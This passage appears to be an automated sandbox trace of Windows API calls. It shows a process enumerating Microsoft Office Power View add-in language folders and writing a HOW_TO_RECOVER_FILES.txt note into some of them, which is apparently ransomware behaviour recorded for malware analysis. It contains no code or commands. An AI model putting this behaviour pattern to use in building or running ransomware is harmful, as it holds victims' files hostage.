cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.235] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x29f7370, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x29f7370, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4918, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.235] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1395164b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f18d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.es.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.235] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.236] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0223.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.236] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es", lpFilePart=0x0) returned 0x51 [0223.236] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0223.237] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.237] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x153fdb85, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.237] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x38b7c4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38b7c4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.238] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb654e78, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb654e78, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb654e78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.238] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x29f7370, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x29f7370, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4918, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.238] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1395164b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f18d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.es.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.238] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1395164b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f18d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.es.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.238] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0223.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.239] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0223.240] GetFileType (hFile=0x82c) returned 0x1 [0223.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.240] GetFileType (hFile=0x82c) returned 0x1 [0223.241] WriteFile (in: hFile=0x82c, lpBuffer=0x357abf0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x357abf0*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.242] CloseHandle (hObject=0x82c) returned 1 [0223.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.242] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et", lpFilePart=0x0) returned 0x51 [0223.242] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0223.243] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.243] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b3bafd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b3bafd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.243] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b0f72e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b0f72e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.243] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d04716, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d04716, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d04716, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.244] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc72b8a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc72b8a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6af8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.244] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e9db, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.et.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.244] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.244] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0223.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.245] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et", lpFilePart=0x0) returned 0x51 [0223.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0223.246] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.246] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b3bafd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b3bafd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.246] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b0f72e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b0f72e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.246] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d04716, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d04716, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d04716, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.246] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc72b8a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc72b8a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6af8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.246] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e9db, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.et.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.247] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e9db, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.et.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.247] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0223.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.248] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\et\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0223.249] GetFileType (hFile=0x82c) returned 0x1 [0223.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.249] GetFileType (hFile=0x82c) returned 0x1 [0223.249] WriteFile (in: hFile=0x82c, lpBuffer=0x358e3c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x358e3c0*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.250] CloseHandle (hObject=0x82c) returned 1 [0223.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.250] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu", lpFilePart=0x0) returned 0x51 [0223.251] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0223.251] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.252] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7c5d9c5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7c5d9c5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.252] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.252] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37f90ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.252] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d2a978, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d2a978, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.252] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.eu.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.252] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.252] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0223.253] 